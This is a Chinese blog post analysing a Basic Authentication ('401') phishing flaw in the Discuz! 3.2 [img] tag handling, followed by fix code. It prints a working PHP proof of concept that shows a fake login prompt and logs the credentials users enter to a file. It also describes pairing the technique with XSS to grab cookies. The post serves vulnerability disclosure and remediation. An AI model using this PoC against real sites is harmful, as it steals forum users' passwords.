目录
分析过程
在分析漏洞之前先了解一下相关的知识科普。
401钓鱼,也叫基础认证钓鱼。在Web站点中,绝大部分的web服务器被配置为匿名访问,即用户在请求web站点访问服务器上的相关信息时,一般不会被要求提示输入相关认证标示信息,也就是说用户不需要使用用户名或者密码就可以访问网站,这也是所有开放站点所使用的配置。
在Nginx和Apache中,默认配置都是匿名访问。
如Nginx想要配置非匿名访问需要进行如下设置:
/etc/nginx/sites-enabled/default中:
server {
server_name blog.cnpanda.net
root /www/panda
# ...
location / {
# 下面的两句是要求非匿名访问
auth_basic "Restricted";
auth_basic_user_file htpasswd;
# ...
}
# ...
}
然后创建一个htpasswd文件就可以了,具体的在这里就不提了。
在Apache中就比较简单了,Apache的httpd.conf默认配置如下:
<directory "/etc/www">
Options IndexesFollowSymLinks Includes
AllowOverride None
Order allow,deny
Allow from all
</Directory>
如果需要修改为非匿名访问,那么就需要传递一个WWW-Authenticate的字段,如下代码就是使用Header()函数要求客户端使用BASIC验证:
header("WWW-Authenticate:BASIC Realm=My Realm");
它在HTTP的请求头中增加了一个WWW-Authenticate的字段。
如果我们想要进行基础认证钓鱼,那么就需要上面的WWW-Authenticate字段。
现在就以最新版的Discuz!3.2版本为例,来分析一下。
问题出现在source/function/function_editor.php中的imgtag函数:
function imgtag($attributes) {
$value = array('src' => '', 'width' => '', 'height' => '');
preg_match_all("/(src|width|height)=([|_)([^']+)(\2)/is", dstripslashes($attributes), $matches);
if(is_array($matches[1])) {
foreach($matches[1] as $key => $attribute) {
$value[strtolower($attribute)] = $matches[3][$key];
}
}
@extract($value);
if(!preg_match("/^http:/i", $src)) {
$src = absoluteurl($src);
}
return $src ? ($width && $height ? '[img='.$width.','.$height.']'.$src.'[/img]' : '[img]'.$src.'[/img]') : '';
}
函数首先对于width和height的值进行了判断过滤,然后再验证请求的url是否是子目录路径:
function absoluteurl($url) {
global $_G;
if($url{0} == '/') {
return 'http://'.$_SERVER['HTTP_HOST'].$url;
} else {
return $_G['siteurl'].$url;
}
}
最后直接返回[img]+URL+[/img]。所以可以看到,函数中只是对于URL的请求路径进行了判断,但是没有对于该URL是否是图片进行验证,导致了解析任意URL。
可以构建POC如下:
<html>
<head>
<title>Please Login - Informations</title>
</head>
<?php
$_COOKIE['panda'] = 'panda';
if($_COOKIE['panda'] == 'panda')
if(!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW'])) {
Header("WWW-Authenticate: Basic realm=\"Please to login first\"");
Header("HTTP/1.0 401 Unauthorized");
} else {
@file_put_contents('./panda.txt', $_SERVER['PHP_AUTH_USER'].'|'.$_SERVER['PHP_AUTH_PW']."\r\n", FILE_APPEND);
setcookie('panda','finshed');
}
?>
<body>
<h1>ERROR!!</h1>
You do not have permission to access this page!
<br>
Click here to <input type="button" value="GO back" onclick="history.go(-1)">
</body>
<html>
该POC主要就是记录用户输入的账号和密码然后记录到Panda.txt中。
将其上传到本地服务器上,地址为:http://localhost/401.php
使用POC:
可以看到对话框,只要用户输入相关信息,都会记录在panda.txt文件中:
不仅是在发表主题和回复主题这里存在,空间的个人主页、查看个人资料中的个性签名中也是同样存在的。
总之一句话,只要DZ中存在[img]标签解析的地方,那么就存在这个问题。
其实这个漏洞被不少人小看,认为稍微懂点技术的人都应该不会中招,但是其实漏洞攻击的对象基本上都是些什么都不懂的用户,钓鱼受害者最多的也是用户。更有一种方法就是让稍微懂点技术的人知道我们构建POC的地址,诱导其范围,然后我们对于这个POC地址做些小动作“,如加上一些XSS的测试代码之类的,这样我们就有可能获取到一些我们意外的其他信息。
比如获取网站的源码:
或者一些浏览器残留的Cookie:
修复方法
方案一:
直接在source/function/function_editor.php文件的imgtag函数中进行URL验证,此方法是最简单的修复方法,但是会造成网站打开页面速度缓慢的影响。
方案二:
过滤代码可以有两种,第一种就是对于400以上的响应请求给予报错,第二种就对于[img]标签的内容进行过滤,这里推荐使用第二种,代码如下:
对source/module/forum/forum_post.php 文件的204行加上一个修复函数:
$message = isset($_GET['message']) ? Repair_401(censor($_GET['message'])) : '';
Repair_401函数可以直接添加在forum_post.php文件的最下方:
function Repair_401($message){
preg_match_all('|[img](.*)[/img]|U',$message,$matches); //匹配所有img标签
if(!empty($matches)){ //存在匹配结果
$img = $matches[1];
foreach($img as $val){
$fstr = substr($val,0,10);
$src = strpos($fstr,'://') < 1 ? "http://".$val : $val;
if(!@fopen($src, 'r' ) ){ //图片无效
showmessage('图片格式错误');
}
}
}
}
这里修复的仅仅是发表主题或者回复的基础认证漏洞,但是对于个人空间中个人主页、个人介绍以及个性签名没有进行过滤,需要修复者自己寻找关键代码加上Repair_401函数,也可以直接在后台关闭[img]标签解析。
最终修复结果如下图:
总结
不仅仅局限于DZ,应该说只要存在图片解析URL没有验证的,基本上都存在这个漏洞,业务中的漏洞挖掘可以考虑挖掘此类的漏洞。当然,这个漏洞是要受到浏览器的限制的,测试火狐可以触发,谷歌不行。所以实际还是要看实际中的利用方法。
写在后面
上面的修复方案有缺陷,经过九零的一个表哥反馈,发现只要在自己的服务器上,将图片文件当做PHP文件解析,依旧可以绕过上方的修复方案,对于这种办法,建议是对于请求返回的响应码判断,如果是401请求,则停止请求或者中断访问,也可以禁止站内引用第三方资源链接,后者的方法是最干脆也是最安全的。
参考
[*] goderci@YunDay《解析:基础认证钓鱼》
[*] Nginx配置实用密码访问网站的方法
[*] 实战利用XSS漏洞对me.jd.com进行基础验证钓鱼
[*] 基础认证钓鱼漏洞-通杀所有可插入外部内容的网站
暂时无法评论哦~
暂无评论